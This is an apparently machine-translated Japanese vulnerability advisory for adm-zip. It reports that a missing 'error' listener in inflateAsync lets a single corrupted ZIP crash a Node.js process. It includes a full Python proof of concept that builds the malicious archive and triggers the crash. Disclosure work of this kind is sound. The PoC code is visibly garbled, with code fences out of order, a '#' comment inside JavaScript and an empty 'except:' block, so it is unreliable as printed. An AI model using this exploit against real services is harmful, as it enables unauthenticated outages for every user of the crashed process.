adm-zip: 非同期DEFLATE解凍における未処理のエラーイベントがNode.jsプロセスをクラッシュさせる(DoS攻撃)
## 概要
`adm-zip`の非同期解凍APIの脆弱性により、認証されていない攻撃者が、不正なZIPファイルを1つ送信するだけで、Node.jsホストプロセス全体をクラッシュさせることができます。
## 詳細
**影響を受けるパッケージ**: adm-zip
**影響を受けるバージョン**: 少なくとも0.6.0(現在の最新版);`methods/inflater.js`に含まれる現在の`inflateAsync`の実装を含む可能性のあるすべてのバージョン
**修正されたバージョン**: 0.6.1
### 根本原因
`methods/inflater.js:12-32`の`inflateAsync`関数は、`zlib.createInflateRaw(option)`ストリームを作成し、攻撃者が制御する圧縮されたバイトを`tmp.end(inbuf)`を通じてストリームに送信しますが、ストリームに対して`"error"`リスナーを登録していません。
```js
inflateAsync: function (/*Function*/ callback) {
var tmp = zlib.createInflateRaw(option),
parts = [],
total = 0;
tmp.on("data", function (data) { parts.push(data); total += data.length; });
tmp.on("end", function () { /* バッファを構築し、callback(buf)を実行 */ });
tmp.end(inbuf); // どこにもtmp.on("error", ...)が登録されていない
}
```
Node.jsの`EventEmitter`/ストリームの仕様によると、リスナーが登録されていない`"error"`イベントが発生すると、**後続のタイミングで未キャッチの例外**として再スローされます。これは、zlibのC++バインディングから発生します。この例外は、呼び出し元のコードを`try/catch`で囲んでもキャッチできません。なぜなら、例外のスローは非同期的に行われ、`try/catch`がカバーする同期コールスタックの外で発生するからです。
このコードパスは、エントリーデータを解凍するすべての公開非同期APIから到達されます。具体的には、`readFileAsync`、`readAsTextAsync`、`extractAllToAsync`、および`ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`)です。
このライブラリは最近、**CVE-2026-39244** (GHSA-xcpc-8h2w-3j85) を修正しました。これは、*同期*の圧縮解除パスにおける `Buffer.alloc()` のバウンドレスな問題です。その修正では、`zlib.inflateRawSync`/`zlib.createInflateRaw` に `maxOutputLength` オプションが追加され、同期パスの結果として発生するエラーは通常、キャッチ可能です。非同期パスも同じ `maxOutputLength` オプションを使用していますが (`methods/inflater.js:5`)、ストリームに対するエラー処理が全く行われていないため、この修正の対象外であり、以下のいずれかの独立したトリガーによって悪用される可能性があります。
1. 破損または不正な圧縮バイトを含む DEFLATE エントリ (`Z_DATA_ERROR`) — 特別な操作は不要です。
2. 圧縮されたデータの展開サイズが、宣言された中央ディレクトリのサイズを超える場合。これにより、`maxOutputLength` の制限がトリガーされますが、ストリームでは、キャッチ可能な例外ではなく、未処理の `"error"` イベントとして表面化します。
### 攻撃手法
1. 攻撃者は、不正または破損した圧縮バイトを含む DEFLATE 圧縮エントリを 1 つ含む ZIP ファイルを作成(または破損させます)。ヘッダー、CRC、オフセットは有効なままで構いません。圧縮されたペイロードのバイトのみが不正である必要があります。
2. 攻撃対象のアプリケーションは、この ZIP ファイルを信頼できないアップロードとして受け取り、adm-zip の非同期 API のいずれかを使用して処理します。例:
```js
const zip = new AdmZip(uploadedBuffer);
zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ });
```
3. `inflateAsync` が圧縮解除を開始します。zlib は `Z_DATA_ERROR` の場合に `"error"` イベントを発生させます。
4. そのイベントに対するリスナーが存在しないため、Node.js はそれを未キャッチの例外として再スローし、ホストプロセス全体がクラッシュします。これにより、攻撃者のリクエストだけでなく、そのプロセス上で実行中の他のすべてのユーザー/テナントのリクエストも中断されます。
## 影響
Node.jsのサービスで、信頼できないZIPファイルをアップロードを受け付け、adm-zipの非同期APIを使用して処理を行う場合、認証されていない単一のリクエストに含まれる小さな悪意のあるファイルによって、サービスがクラッシュする可能性があります。これは、リクエストごとのエラーではなく、プロセス全体が停止する状態です。
## 実証コード
添付ファイル: `poc_async_dos.py`. このスクリプトの概要:
1. adm-zipの独自のライターを使用して、完全に有効なZIPファイルを作成します (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)。これにより、正しいヘッダー/CRC/オフセットが保証されます。
2. ローカルファイルヘッダーの圧縮データ領域を、そのサイズ/オフセットフィールド(変更されていない)を介して特定し、その領域内のすべてのバイトを`0xFF`でXOR演算し、DEFLATEのペイロードのみを破壊します。
3. 破壊されたアーカイブを、新しい`new AdmZip(badBuf)`で解析します(成功します。ヘッダーは無効ではありません)。そして、`entries[0].getDataAsync(callback)`を呼び出します。これは、`try/catch`で囲まれ、隔離された子プロセスで実行されます。
4. 子プロセスの終了コードと標準エラー出力をキャプチャします。
独立して3回の実行で検証済みです(さらに、2つのコントロール実験も行いました。変更されていないZIPファイルを同じパスで処理してもクラッシュしません。また、Node.jsの`zlib.createInflateRaw()`に無効なデータをエラーリスナーなしで与えると、adm-zipを使用せずに同じクラッシュが発生し、根本原因がリスナーの欠如であることを確認しました。他の原因ではありません)。代表的な出力:
[*] 子プロセスの終了コード: 1
----- Node子プロセスの標準エラー出力 (クラッシュの証拠) -----
node:events:497
throw er; // 未処理の 'error' イベント
^
Error: invalid distance too far back
at genericNodeError (node:internal/errors:983:15)
at Zlib.zlibOnError [as onerror] (node:zlib:191:17)
InflateRaw インスタンスで 'error' イベントが発生しました:
at emitErrorNT (node:internal/streams/destroy:170:8)
at emitErrorCloseNT (node:internal/streams/destroy:129:3)
at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {
errno: -3,
code: 'Z_DATA_ERROR'
}
Node.js v22.22.1
--------------------------------------
[*] ハーネス自身の try/catch で捕捉された (脆弱性がないことを意味する): False
[*] getDataAsync コールバックが一度でも呼び出された (脆弱性がないことを意味する): False
[*] 子プロセスがゼロ以外の値で終了した (クラッシュした): True
[+] 脆弱性が確認されました
再現方法: `python3 poc_async_dos.py` (python3 と Node.js が必要です。Node.js v22.22.1 でテスト済み)。
## 修正案
`methods/inflater.js` の `inflateAsync` 関数で、`InflateRaw` ストリームに `"error"` リスナーを登録し、既存の `callback` にルーティングします。例:
```js
inflateAsync: function (/*Function*/ callback) {
var tmp = zlib.createInflateRaw(option),
parts = [],
total = 0;
tmp.on("data", function (data) { parts.push(data); total += data.length; });
tmp.on("error", function (err) {
// プロセスがクラッシュする代わりに、通常の非同期エラーとして表面化させる
callback(Buffer.alloc(0), err); // または、このコードベースの非同期エラーの規約に従う
});
tmp.on("end", function () { /* 既存の動作 */ });
tmp.end(inbuf);
}
```
正確なコールバック/エラー伝播のルールは、コードベース全体の非同期エラー処理のスタイルと一致させる必要があります(簡単な確認では、現在のコールバックは成功時のみを処理しているようです。必要に応じて、シグネチャをわずかに変更するか、`err`-firstの方式を採用する必要があるかもしれません。これは、保守担当者の判断に委ねられます)。重要な修正点は、以下の通りです。**Node.jsのストリームにおいて、攻撃者が制御する入力によってエラーが発生する可能性がある場合は、必ず`"error"`リスナーを登録してください。**
## 完全なPoCソースコード (`poc_async_dos.py`)
```python
#!/usr/bin/env python3
"""
テストバージョン: adm-zip 0.6.0
テスト環境: Linux, Node.js v22.22.1
説明:
methods/inflater.js:12-32 (inflateAsync) は、
zlib.createInflateRaw(option) ストリームを作成し、tmp.end(inbuf) を呼び出しますが、
ストリームに対しては "error" リスナーを登録しません。Node.js EventEmitter
の仕様によると、リスナーがゼロの状態で "error" イベントが発生すると、
未キャッチの例外として再スローされます。これは、zlibのC++
ライブラリから後続のタイミングで発生するため、呼び出し元のコードを
try/catchで囲んでもキャッチできません。adm-zipの
public *Async API (readFileAsync, readAsTextAsync, extractAllToAsync,
ZipEntry.getDataAsync) のいずれかに、信頼できないzipファイルを
入力として与えると、破損または不正な圧縮バイトを含むDEFLATEエントリが
検出された瞬間に、ホストのNode.jsプロセス全体がクラッシュします。
同期的な解凍パス (getData()) は、CVE-2026-39244 (maxOutputLength + 自然にキャッチ可能な例外)
に対する対策が施されています。この非同期ストリーミングパスは、その対策で
見落とされており、認証なしで単一のリクエストによってサービス停止を引き起こす
脆弱性が残っています。
影響:
信頼できないzipファイルをアップロードを受け入れ、adm-zipの非同期API (ノンブロッキングサーバーでの公式に推奨される使用方法) を使用して読み込んだり、展開したりするサービスは、単一の悪意のあるzipファイルによってクラッシュする可能性があります。認証や特別な権限は不要です。
```
再現手順:
1. インストール:このPoCは、このスクリプトが存在するadm-zipのソースコードツリーに対して直接動作します(`npm install`は不要です。package.jsonの"main"エントリであるadm-zip.jsをローカルにチェックアウトする必要があります)。
必要なもの:python3、Node.js(Node.js v22.22.1でテスト済み)。
2. 実行:python3 poc_async_dos.py
3. 観察:生成されたNodeの子プロセスが、標準エラー出力に"Unhandled 'error' event" / Z_DATA_ERRORのスタックトレースとともに、ゼロ以外の終了コードで終了します。これは、methods/inflater.jsのzlib.createInflateRawストリームから発生します。
テストフレームワークのtry/catchブロックも、getDataAsyncコールバックも、いずれも動作しません。これは、クラッシュが呼び出し元のコードから回復できないことを証明しています。
悪意のあるzipファイルがどのように構築されるか(以下に示すbuild_harness_script()に組み込まれたNodeのテストフレームワークを参照):
1. adm-zip自身のライター(`new AdmZip(); zip.addFile(...); zip.toBuffer()`)を使用して、完全に有効で、構造的に正しいzipアーカイブを作成します。このアーカイブには、1つのDEFLATEエントリが含まれます。これにより、すべてのヘッダー/CRC/オフセットフィールドが構造的に正しいことが保証されます。
2. ローカルファイルヘッダーがオフセット0に存在することを確認し、(変更されていない)LOCSIZ/LOCNAM/LOCEXTフィールドから圧縮データ領域を計算します。
3. その領域内のすべてのバイトを0xFFでXOR演算し、DEFLATEペイロードのみを破壊します。同時に、ローカルヘッダー、セントラルディレクトリ、およびEOCDレコード内のすべてのサイズ/オフセット/CRCフィールドをバイト単位で変更せずに保持します。これにより、adm-zip自身のパーサーが、依然として正しい領域を正確に特定し、脆弱なinflateAsync()呼び出しに到達します。
"""
import os
import subprocess
import sys
import tempfile
# ============================================================
# 設定
# ============================================================
PACKAGE_NAME = "adm-zip"
TARGET_VERSION = "0.6.0"
# このPoCが存在するadm-zipのソースコードツリー(Hunterのチェックアウト)。
REPO_DIR = os.path.dirname(os.path.abspath(__file__))
NODE_BIN = "node"
SUBPROCESS_TIMEOUT_SECONDS = 20
```text
# ============================================================
# Node.js 環境 (実際のトリガー -- adm-zip は JavaScript ライブラリなので、
# 実際の脆弱性コードは Node.js 環境で実行する必要があります。この Python スクリプトは、
# それを構築し、隔離された子プロセスで実行し、結果を解釈します)。
# ============================================================
def build_harness_script(repo_dir: str) -> str:
return r"""
"use strict";
const AdmZip = require(%(repo_dir)r);
console.log("HARNESS_START");
// ステップ 1: adm-zip 独自の書き込み機能を使用して、メモリ上で有効な ZIP ファイルを構築します。
// 1つの DEFLATE 圧縮エントリを含めます。繰り返しのテキストは圧縮されやすく、
// DEFLATE 方式が選択されることを保証します (STORED 方式ではありません)。
const zip = new AdmZip();
const payload = Buffer.from(
"The quick brown fox jumps over the lazy dog. ".repeat(200),
"utf8"
);
zip.addFile("payload.txt", payload, "");
const goodBuf = zip.toBuffer();
console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length);
// ステップ 2: ローカルファイルヘッダー (この単一エントリアーカイブではオフセット 0) を特定し、
// ローカルヘッダー、中央ディレクトリ、および EOCD レコード内のすべてのサイズ/オフセット/CRC フィールドを
// 変更せずに、その場で圧縮データバイトのみを破壊します。これにより、adm-zip 独自のパーサーが
# 正しい領域を特定し、脆弱な inflateAsync() 処理に到達します。
const LOCSIG = 0x04034b50;
if (goodBuf.readUInt32LE(0) !== LOCSIG) {
throw new Error("予期しないローカルヘッダーシグネチャ -- adm-zip ライターの出力が変更されました");
}
const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ
const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM
const extraLen = goodBuf.readUInt16LE(28); // LOCEXT
const dataStart = 30 + fileNameLen + extraLen;
const dataEnd = dataStart + compressedSize;
console.log(
"LOCAL_HEADER compressedSize=" + compressedSize +
" dataStart=" + dataStart + " dataEnd=" + dataEnd
);
"""
```
```
const badBuf = Buffer.from(goodBuf); // コピーを作成し、元のデータを変更しない
for (let i = dataStart; i < dataEnd; i++) {
badBuf[i] = badBuf[i] ^ 0xff; // DEFLATEストリームのすべてのバイトを破壊する
}
console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart));
// ステップ3:破壊されたアーカイブを解析する(これは成功する。ヘッダーはそのまま)。
// そして、脆弱な非同期解凍パスに到達する。
const zip2 = new AdmZip(badBuf);
const entries = zip2.getEntries();
console.log(
"PARSED_CORRUPT_ZIP entries=" + entries.length +
" name=" + entries[0].entryName
);
try {
// これは、実際のサーバーが信頼できないアップロードに対して呼び出す可能性のある、公開されているドキュメント化されたAPIです(readFileAsync / getDataAsync / extractAllToAsync
// はすべて、同じ decompress(true, ...) -> inflateAsync パスに繋がります)。
entries[0].getDataAsync(function (data, err) {
// このコールバックが実行された場合、ライブラリはエラーを適切に処理しました
// (クラッシュしない)-- つまり、この脆弱性は存在しないか、
// このバージョンではすでに修正されています。
console.log(
"CALLBACK_FIRED data_len=" + (data ? data.length : 0) +
" err=" + err
);
});
console.log("SYNC_CALL_RETURNED_NO_THROW");
} catch (e) {
// このエラーが発生した場合、バグは存在しません。エラーは、
// 通常のコードによって同期的にキャッチされるはずです。
console.log("CAUGHT_BY_TRY_CATCH: " + e.message);
}
console.log("HARNESS_END_OF_SYNCHRONOUS_CODE");
// 意図的に process.on("uncaughtException", ...) を登録していません。
// これを登録すると、テスト対象の正確なバグが隠されてしまいます。
// 実際の、変更されていないサーバープロセスが、
// あえて uncaughtException ハンドラをグローバルにインストールする理由はありません。
// それが、このプロセスが回復不可能なクラッシュを引き起こす理由です。
""" % {"repo_dir": repo_dir}
```
# ============================================================
# ステップ1:セットアップ
# ============================================================
def setup():
"""前提条件を確認し、Node.jsのテストスクリプトを作成します。"""
print(f"[*] {PACKAGE_NAME}@{TARGET_VERSION} のPoCをセットアップ中")
print(f"[*] 対象のadm-zipソースコードのディレクトリ: {REPO_DIR}")
main_entry = os.path.join(REPO_DIR, "adm-zip.js")
if not os.path.isfile(main_entry):
print(f"[-] {main_entry} に adm-zip.js が見つかりません")
sys.exit(1)
try:
node_version = subprocess.run(
[NODE_BIN, "--version"], capture_output=True, text=True, timeout=10
)
print(f"[*] Node.jsが見つかりました: {node_version.stdout.strip()}")
except FileNotFoundError:
print("[-] PATHにnode実行ファイルが見つかりません。このPoCを実行するにはnodeが必要です")
sys.exit(1)
handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js")
with os.fdopen(handle, "w") as f:
f.write(build_harness_script(REPO_DIR))
print(f"[*] Nodeのテストスクリプトを {harness_path} に書き込みました")
return harness_path
```
# ============================================================
# ステップ2:脆弱性を引き起こす
# ============================================================
def trigger(harness_path):
"""Nodeの実行環境(独自の隔離された子プロセス内)を実行し、
悪意のあるzipファイルを構築し、それをadm-zipの脆弱な非同期APIに渡します。"""
print("[*] 脆弱性を引き起こします(隔離されたNodeのサブプロセスを起動中)...")
try:
proc = subprocess.run(
[NODE_BIN, harness_path],
capture_output=True,
text=True,
timeout=SUBPROCESS_TIMEOUT_SECONDS,
cwd=REPO_DIR,
)
return {
"timed_out": False,
"returncode": proc.returncode,
"stdout": proc.stdout,
"stderr": proc.stderr,
}
except subprocess.TimeoutExpired as e:
return {
"timed_out": True,
"returncode": None,
"stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""),
"stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""),
}
# ============================================================
# ステップ3:影響を確認する
# ============================================================
def verify(result):
"""子プロセスが、非同期インフレーターから発生した未処理の'error'イベントによってクラッシュしたこと、
および、実行環境内のtry/catchブロックやgetDataAsyncコールバックが、
いずれも実行されなかったことを確認します。"""
print("[*] 影響を確認します...")
print(f"[*] 子プロセスの終了コード: {result['returncode']}")
print()
print("----- Node子プロセスの標準出力 -----")
print(result["stdout"].rstrip())
print("----- Node子プロセスの標準エラー出力 (クラッシュの証拠) -----")
print(result["stderr"].rstrip())
print("--------------------------------------")
print()
```
if result["timed_out"]:
print("[-] テストがクラッシュする代わりにタイムアウトしました -- 結論が出ません")
return False
stdout = result["stdout"]
stderr = result["stderr"]
returncode = result["returncode"]
reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout
was_caught = "CAUGHT_BY_TRY_CATCH" in stdout
callback_fired = "CALLBACK_FIRED" in stdout
process_crashed = returncode is not None and returncode != 0
unhandled_error_evidence = (
"Unhandled 'error' event" in stderr
or "ERR_UNHANDLED_ERROR" in stderr
or "Emitted 'error' event on InflateRaw instance" in stderr
)
print(f"[*] 脆弱なgetDataAsync()関数が例外を発生させずに呼び出されました: {reached_vuln_call}")
print(f"[*] ハーネス自身のtry/catchで捕捉されました (脆弱でないことを意味します): {was_caught}")
print(f"[*] getDataAsyncのコールバック関数が一度でも実行されました (脆弱でないことを意味します): {callback_fired}")
print(f"[*] 子プロセスがゼロ以外の終了コードで終了しました (クラッシュしました): {process_crashed}")
print(f"[*] stderrにInflateRawストリームからの未処理の'error'イベントが表示されています: {unhandled_error_evidence}")
success = (
reached_vuln_call
and not was_caught
and not callback_fired
and process_crashed
and unhandled_error_evidence
)
return success
# ============================================================
# メイン
# ============================================================
if __name__ == "__main__":
print(f"=== CVE候補: {PACKAGE_NAME} 非同期デコンプレッションDoS ===")
print(f"[*] ターゲットバージョン: {TARGET_VERSION}")
print()
harness_path = setup()
try:
result = trigger(harness_path)
success = verify(result)
except:
finally:
try:
os.remove(harness_path)
print(f"[*] 一時的なハーネスファイルを削除しました: {harness_path}")
except OSError:
pass
print()
if success:
print("[+] 脆弱性が確認されました")
print(
"[+] 影響: 破損したDEFLATEエントリを含む単一の信頼できないZIPファイルを開こうとすると、Node.jsプロセス全体がクラッシュします。これは、adm-zipの*Async API(readFileAsync / readAsTextAsync / extractAllToAsync / ZipEntry.getDataAsync)のいずれかを使用した場合に発生します。認証なしで、単一のリクエストで、回復不可能なプロセスレベルのサービス拒否(DoS)攻撃となります。"
)
else:
print("[-] 脆弱性は確認されませんでした")
sys.exit(0 if success else 1)
```
影響を受けるパッケージ:
- npm (JavaScript) adm-zip: 影響を受けるバージョンは0.6.0以下、0.6.1で修正済み。